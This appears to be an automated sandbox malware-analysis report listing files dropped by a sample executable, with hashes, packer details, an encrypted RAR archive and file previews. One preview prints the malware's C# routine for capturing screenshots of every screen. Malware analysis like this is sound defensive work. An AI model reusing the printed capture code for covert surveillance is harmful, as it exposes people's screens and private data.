SHA-512:	77DB2FE6433E6A80042A091F86689186B877E28039A6AEAA8B2B7D67C8056372D04A1A8AFDB9FE92CFAEA30680E8AFEB6B597D2ECF2D97E5D3B693605B392997
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d....g.f.........." ...).....0......P.....................................................`..............................................#..........................................................................`...@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	302872
Entropy (8bit):	7.987647920176007
Encrypted:	false
SSDEEP:	6144:WL4g17Ziz1gCtki0R7KjUAkDvN/mMHvmCMztFY3oudYnc3nSX7:WL4Q7Qz1pknmIhxsQKcXSr
MD5:	382CD9FF41CC49DDC867B5FF23EF4947
SHA1:	7E8EF1E8EAAE696AEA56E53B2FB073D329CCD9D6
SHA-256:	8915462BC034088DB6FDB32A9B3E3FCFE5343D64649499F66FFB8ADA4D0AD5F2
SHA-512:	4E911B5FB8D460BFE5CB09EAB74F67C0F4B5F23A693D1FF442379F49A97DA8FED65067EB80A8DBEEDB6FEEBC45F0E3B03958BD920D582FFB18C13C1F8C7B4FC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................(.....(.....(.....(.....)................).....).....)x....)....Rich..........................PE..d....g.f.........." ...).`....... ..@....0................................................`.............................................X....................@......................................................@...@...........................................UPX0..... ..............................UPX1.....`...0...^..................@....rsrc................b..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0v4jbhj5.jll.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1v2wowcy.t4s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20gyxysj.fpu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ylnadic.3h5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4o1v4sb5.fhr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4voxkqhi.ryp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52ldxs1r.qin.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i2yazpr.q3i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bddzlope.gsa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cn13fu4e.pbz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cz5y25uo.p3t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_di2m5jdt.2do.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dps424wf.xnl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f4fctfdn.ze3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gavszs4j.th5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glvyt0g5.nmp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2qioj21.jpc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0covdcp.2hy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_quuh2opv.vq2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqqi5rfi.qpe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3n2yb0v.1q2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xnkawxoe.key.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzbdsccl.kfl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zvtfd2xb.pdg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aaDHy.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe
File Type:	RAR archive data, v5
Category:	modified
Size (bytes):	753950
Entropy (8bit):	7.999747563986138
Encrypted:	true
SSDEEP:	12288:WQ49LgOWrjoBxrFWtWEc877AbInF/Z6BdtZRiFF/Y75tvlP4LAubkn9r1YNYiwyw:WQYWr0BBFgvrr6rtZgTQtttsbk9r1YNa
MD5:	D6C8AE175D1193CF0E37896716F47496
SHA1:	DCB6990AFB099DAA73AAEB8B4EB1B45708CA4EA9
SHA-256:	1CA19D281A279BD4F028E80041495F6AC2CA3E1DF61C348FD2BC42630F062505
SHA-512:	666AA92AE84956F6F8DDE773C08E8B1A7C5526D1CADFD9B470605B55E349347A001703660AC6C45B72D8AF16C992C81870A29FB7E4DB5BAC37A15953B7237B8D
Malicious:	false
Preview:	Rar!.......{!.......".IE.<=\.....AC.@..#..V....<....)Ia ....:m..^...s.C..^4.F..A&c.{.sCp....}.. ?....N....^.<.$.>P.........r.....ZI....~..H...Ne.....?[..3S.Mt..L.zC.P.Rt.`..K.!..7PX...c....pG..@.....V....FWZeJ.&\|uU..l.{...M.>..........!.2@.)\|.$..n.=..u.g..i...e%..XH.{.7~...L..f.....z..Y...v.MX.....(..W.~...w..$<.....z..{..3....1+FkZ.......-.s.%9.J..J. .$.i.....pQ....:..1x..m..>m\Y..2....A.....909..A.@}G..?....:...jg...mtL.#")..e..C.SL.Z...Ku..q......V....A..$...W..@j)..B.......G....8..X}.X..s..M..3?._.\|.F.C.B.8}u..:..E...... .x......;t}..!.-.^...9."o...DdB....3(..5I>......\|...'>..O/(.#.samq~....'.......Of{ 4Ju........e.SQ...Y.z.l..s..........@bB.....<..M/.c.\|]..."0.a..;}C.U.Bv.YB..sZ.w..I.....k......DCu....XWJ1......)...b2..i`].T...SP.YQJ..E..GT.K...2t..o....aCn.U\|.S....A......B.'..Jh.n<i............7.6p._Kx.dm^....D.s.....Y.....&......Vv.4.ln..%d...T.[.?W%P....r..!.4^.B0.YF..R,dMk.r.....52.:q9..-........[......!.%..q4=.E.\|.'.

C:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.095667326219972
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryHak7YnqqjPN5Dlq5J:+RI+ycuZhNVakSjPNnqX
MD5:	263AED78BB50ADC8E5B7E45BA8FE77F5
SHA1:	DA73CD746174C8117F64006DD37D7BE3D72CEB9C
SHA-256:	A39BACA57747173779F3E67F392B78EFC49F101153FB0F2EFD06ABBB0AAD4317
SHA-512:	3AE9DA7C07304C5DBF67F1B6235E76A47EB1BA06BFDB43C113C7F99BADCBBDD65DF1F82AB84B2F8D7B1848080D5A8AB61DD4ED753D7FE468CDC17CF698D95F16
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.e.x.z.y.3.0.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...b.e.x.z.y.3.0.0...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (612), with no line terminators
Category:	dropped
Size (bytes):	615
Entropy (8bit):	5.335836085523955
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6KOkuqy776SE71xBkuqTM3RDwA+iM3RLB5cNwiF:p37Lvkmb6KOkqe1xBkrk+ikNZuWZEJZj
MD5:	DF216C58F21FA0AE3786E2A894865D33
SHA1:	CCB5F483649C5782CC0C273BBB30EDDC63701788
SHA-256:	A2681B0CF5ACCC07522F9CFB543B6A7C5797E25AA5F382E9593814D3F526160F
SHA-512:	37398B1F49D67A688DBA49E8EBB435F3CCC7754CAD0F4A253545C5A18B63F073275165329716394AA97288B4DBA254C3FA8DFE5CA1DDF4AD4B8A83C9A999C1CC
Malicious:	true
